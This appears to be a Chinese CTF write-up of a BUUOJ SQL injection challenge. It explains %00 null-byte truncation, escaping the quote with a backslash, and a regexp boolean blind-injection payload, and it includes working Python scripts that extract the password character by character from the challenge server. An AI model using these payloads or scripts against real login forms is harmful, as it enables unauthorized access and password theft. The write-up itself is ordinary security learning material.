前言
本来是想趁这个时间点把逆向的作业做一做的,哪想到我装有工具的虚拟机突然暴毙了。抱着个电脑没什么可以做的,没事闲的又做了道sql的题目,也算是弥补了昨天没做题目的遗憾。
正文
关于%00的截断原理是这样的:
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
但是这道题我们不是通过%00后面的内容去绕过文件格式的过滤,我们是要通过%00帮我们把最后的引号给屏蔽掉,这是我们的最终目的。
先来看题。
题目的作者让我们去构建一个查询语句使这个语句有一个自己的单独结果。这个先不管他,我们先到hint.txt去看一下提示
emm,看来这道题过滤了很多东西,看这一大长串我就头疼。过滤了这么多东西,但是他仍旧没有过滤regexp我们仍可以根据正则匹配去进行bool盲注。
但是有一点需要注意的是,他将单引号过滤掉了,这导致我们无法进行username字段的闭合。这里我们用一个反斜杠来转义他本身的sql语句的引号让后面的引号去闭合前面的字段。
就像这样:
那么接下来就是如何将passwd处的值成为我们的sql语句并使其正常执行。
请考虑如下的payload
||/**/passwd/**/regexp/**/"^a";
如果我们成功匹配了一个字母a的话,上述payload的返回值就是1。这样就通过regexp实现了bool盲注。但是有一个问题,我们如何处理最后多出来的一个单引号?这就要用到我们开篇所说的%00截断了,我们直接将后面的单引号截断,那他就不会影响到我们的发挥了。
我们用burp尝试一下
如果我们将上面的a换成y的话,就会出现不一样的回显
再次尝试几个字母后我们发现,除了y没有与其有相同回显的字母。由此判断,该回显为正确发包后的回显。这里从burp中的repeater无法直接看出来,事实上如果是y的话,服务端会请求一个welcome页面。
我们这次换一个方式进行观察,因为我们最终是要编写脚本的,所以就用python写一个发送单个包的脚本,来看一下响应。
import requests
from urllib.parse import unquote
def start_ascii():
result = ""
url = "http://1b88a5db-2410-4915-8381-b290561f45c6.node4.buuoj.cn:81/index.php"
for i in range(1,300):
mid = 32
while(mid < 128):
let = result + chr(mid)
payload = "||/**/passwd/**/regexp/**/\"^y\";" + unquote("%00")
data = {
"username": "\\",
"passwd": payload}
print(payload)
res = requests.post(url, data=data)
print(res.text)
if "alert" in res.text:
mid += 1
else:
result = result + chr(mid)
break
print(result)
if __name__ == "__main__":
start_ascii()
响应如下图
(其他字母的回显)
(y的回显)
我们直接根据其中的关键字编写自动化脚本
import requests
from urllib.parse import unquote
import string
def start_ascii():
result = ""
strings = string.ascii_lowercase + string.digits + '_'
url = "http://1b88a5db-2410-4915-8381-b290561f45c6.node4.buuoj.cn:81/index.php"
for i in range(1,300):
for m in strings:
let = result + m
payload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format(let, unquote('%00'))
data = {
"username": "\\",
"passwd": payload}
# print(payload)
res = requests.post(url, data=data)
if "welcome.php" in res.text:
result = result + m
break
else:
continue
print(result)
if __name__ == "__main__":
start_ascii()
结果如下
我们拿到passwd之后直接去登陆界面,就可以进去了。
后记
sql新的盲注姿势regexp,另一个等同于注释的方法用来屏蔽最后的引号——%00截断。(%00截断的应用是有特殊条件的:PHP<5.3.29,且GPC关闭)。